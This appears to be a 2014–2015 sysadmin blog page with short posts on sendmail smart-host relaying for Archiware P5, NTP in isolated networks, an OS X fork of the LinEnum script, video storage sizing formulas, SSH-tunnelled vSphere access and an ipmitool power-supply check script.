If you are responsible for backup or archiving systems you know for sure how important it is to get system notifications. You want to know if a job failed! My backup/archiving software of choice Archiware P5 however does not yet support SMTP user authentication or TLS and so we have to build a workaround to support most generally available mail servers.

In this post I will explain how to install sendmail on Fedora 19 and how to configure it to use a smart host. I opted for sendmail as I already used it before and mostly know how to configure it. Furthermore I will also show what to change in P5’s interface. The image below illustrated the desired resulting mail delivery path.

P5 smart host

The following steps should work on any Red Hat-based distribution without further changes and should be easily adaptable to other Linux-based operating systems. Many commands in this post are based on the one’s used in my previous article “UNIX & PHP: Configure sendmail to forward mails“.

Install Software

The first thing we have to do is to install the required software. It’s very important to also also add the sendmail-cf configuration files package.

yum install sendmail sendmail-cf

Mail Credentials

In the next step we have to append the mail server credentials to “/etc/mail/authinfo”.

AuthInfo:your_mail_server.your_domain.tld "U:your_username" "P:your_password"

Update Configuration

After that we have to update the “/etc/mail/sendmail.mc” sample configuration.

At first we have to do is to append the smart host configuration to the end of the file.

FEATURE(`authinfo',`hash /etc/mail/authinfo')
define(`SMART_HOST', `your_mail_server.your_domain.tld')

After that uncomment the following line by removing the dnl prefix:

define(`confAUTH_MECHANISMS', `EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN')dnl

Select MTA

To ensure that we really use sendmail as MTA we have to choose “/usr/sbin/sendmail.sendmail” after running the following alternatives command.

alternatives --config mta

Apply Configuration

To apply all our changes run the following commands:

cd /etc/mail/
makemap hash authinfo < authinfo
m4 sendmail.mc >sendmail.cf
service sendmail restart

We now have a fully functional SMTP server running on our local machine that forwards all incoming mails to the configured smart host.

Archiware P5 Configuration

To finish the configuration we have to ensure that Archiware P5 uses the correct mail server and sender address. To do so log into the P5 interface and open the localhost Client preferences as shown on the screenshot below. Then enter “localhost” as Mail server. Furthermore provide a valid Mail sender address.
P5 Mail Interfae

Finally, within the Notification section in the User Settings provide the user’s email address and select the desired notifications for the user. By hitting the “Send test mail” button you are able to test your configuration. Don’t forget to customise the list of events that should trigger a notification.
Screen Shot 2015-01-08 at 14.17.33

 

Dec 312014
 

This year’s last post is all about time. In fact, it’s about how to get NTP working within an isolated network. The Network Time Protocol is a network protocol used to synchronise computer clocks across networks. It is necessary as computers measure time using oscillating crystals. However each computer has a slightly different oscillating interval that causes the local clocks of different systems to drift apart. This can cause problems in distributed systems.

One such problem occurs within redundant playout systems with multiple servers. All systems need to have exactly the same time reference (and to do so they often use the local system time) to play the same video frame all the time. Otherwise there is a visible service disruption during fallback.

Timesync

As this example shows it’s more about a coherent time source / reference than it is about a correct one. What that means is that it is more important that all systems have exactly the same time, however it does not really matter if it’s 0,5 seconds ahead the correct one.

To do so I always use one Linux system within the isolated broadcast network as NTP server using ntp. This server gets queried by all other systems and shares his local time.

Timesync Server

There is only a small problem with this setup. As the time source for the Linux NTP Server is only his oscillating crystal and not a precise system like an atomic clock the other systems don’t trust his information. His strata is simply too high. There are two solutions to solve this issue:

Whichever you use, you will get a coherent time reference on all nodes within the network. However be aware that it’s just a relative time.

Guten Rutsch ins neue Jahr 2015

Dec 152014
 

A few weeks ago I learned about LinEnum. It’s original author owen described it as follows:

It’s a very basic shell script that performs over 65 checks, getting anything from kernel information to locating possible escalation points such as potentially useful SUID/GUID files and Sudo/rhost mis-configurations and more.

The first thing that came to my mind was if this script will work on OS X. I cloned the GitHub repository to my Mac and was immediately greeted with multiple error messages. As I had some spare minutes I forked the repository and fixed the most major bugs.

LinEnum

As I had to disable some tests I hope to find some more time to fix and reenable them. My goal is to maintain the Linux compatibility and only extend the script to fully work on OS X. I think this could become be a handy quick-check tool.

Dec 052014
 

Today’s blog post is a summary of several useful formulas for dimensioning video storage systems. Before you start reading it, it is very important to understand the connection between the Kilo, Mega, Giga and Tera prefix, the difference between Bit and Byte and difference between an indication of size (like MB) and an indication of speed (like MBps respectively MB/s). I created all the equation using the great Online LaTeX Equation Editor.

This post uses the following terminology:

  • A capital B stands for Byte
    Example: MB means Megabyte
  • A lower case b stands for Bit
    Example: Mb means Megabit
  • To indicate a transmission speed the “per second” postfix is appended
    Example: MBps means Megabytes per second

Now let’s start…

How much Space of my Volume should I use?

You should never use all the available space as this forces the filesystem to split new files into many small junks. These small junks lead to increased seek times and thereby slower transfer rates.


Tipp: Use quotas to limit the user visible size.

How much Storage do I need?

As described above you have to add a little extra space to avoid high seek times.

CodeCogsEqn (7)

How much Hours of Video can I Store on my Volume?

This is often used to find out if there is already enough storage capacity to handle a new project or if you have to add more.

CodeCogsEqn (8)

What Performance do I need?

The first formula calculates the Theoretical Minimum Performance Requirement in MBps. To be honest, it’s a pretty useless calculation as you need a lot more raw storage performance than this formula indicates. For examples it doesn’t take disk seek times or CPU limitations into account.

CodeCogsEqn (4)

For a more realistic estimate use the following one. However this is still just an estimate to get a rough overview. It is very hard to size a video storage correctly and I haven’t found the correct formula yet.

CodeCogsEqn (9)

Can I go with 1Gb Ethernet or do I need 10Gb Ethernet?

Many people think that they have to use 10Gb Ethernet if they want to edit videos using AFP, SMB or NFS. However in reality they often don’t need that much performance and can better spend the money on more storage capacity or better networking infrastructure.

CodeCogsEqn (6)

It’s fine to go with 1Gb Ethernet if the Theoretical Minimum Connection Speed is 850Mbps or less. Go with 10Gb Ethernet as long as you need less than 3000 Mbps otherwise please talk to the system manufacturer.

What Network Protocol should I use?

That’s an easy one: Always use SMB on Linux, OS X and Windows!

(Except if you use OS X in combination with FCPX libraries stored on your NAS than go with NFS)

Nov 272014
 

Connection DiagramI’m responsible for several VMware ESXi hosts that are secured using a Bastion host. These Bastion hosts help to protect our client’s infrastructure and only allow access over some specifically enabled network protocols.

It’s clear that they don’t allow traffic from the Internet to our VMware ESXi systems, so we have to go a different route to manage them. Fortunately we can connect to our Bastion host using SSH and then tunnel the vSphere connection from the client machine to the ESXi system. The diagram on the right shows the corresponding data flow. This post will focus on the necessary configuration as I always forget how to setup a new client machine.

Before we start, here’s a screenshot that summarises all the steps:
ESXi over SSH Steps

1.) hosts File

The first thing you need to do is to add a new localhost alias in your hosts file. If you don’t know where to find it or how to modify it, check out this great article. At the bottom of the file append the following line:

127.0.0.1	esxilocal

2.) Connect to your Bastion host

Now connect to your Bastion host using a client that supports SSH Tunneling. I always go with PuTTY.

3.) Tunnel Configuration

In the next step we have to configure the three necessary tunnels. For the vSphere Client to successfully connect we have to forward the TCP ports 443, 902 and 903. Please ensure that you use the same ports locally.

4.) Connect

If you have setup everything correctly you are now able to connect over the SSH connection. Be aware that you have to use the hostname that you configured in the first step (like esxilocal) not the machine’s real one.

Congratulation, that’s it!

Nov 192014
 

Power SupplyIf you are responsible for keeping systems up and running it’s important to keep an eye on your hardware. This especially denotes to hard disks, fans and power supplies as they break most often. Today’s post is about how to easily and automatically check the state of power supplies.

To do so I wrote a small script that uses ipmitool to check the state of all detected power supplies. I used it primarily on Supermicro X9 class motherboards however all systems supported by ipmitool should work.

The USPs of my script are that it supports more than two power supplies, that it is fully documented and that it reports a unique exit code per system state. All this features help you to integrate it perfectly into your workflow. Here’s how to use it:

$ ./checkPowerSupplies.sh -h
This tool checks the state of all installed power supplies and reports their current state. It can be used in automated monitoring tools like nagios.
It depends on ipmitool and supports all systems that report the state of the installed power supplies through the sensors subcommand. I used it primarily on Supermicro X9 class motherboards.

Usage: ./checkPowerSupplies.sh
	-h 	Shows this help
	-p=2	The number of expected power supplies
	-r=0x1	The value that indicates a working power supply (see ipmitool sensors)

Example:
./checkPowerSupplies.sh -p=3 	# Check 3 installed power supplies
./checkPowerSupplies.sh		# Check 2 installed power supplies
./checkPowerSupplies.sh -r=0x4	# A working power supply reports a state of 0x4

Exit codes:
	0	All power supplies are working
	1	ipmitool is not installed
	2	Found more power supplies than expected
	3	At least one power supply is missing
	4	At least one power supply failed

Version 1 released in 2014 by Florian Bogner - http://bogner.sh

If you are interested you can download the checkPowerSupplies.sh script over at Google Code.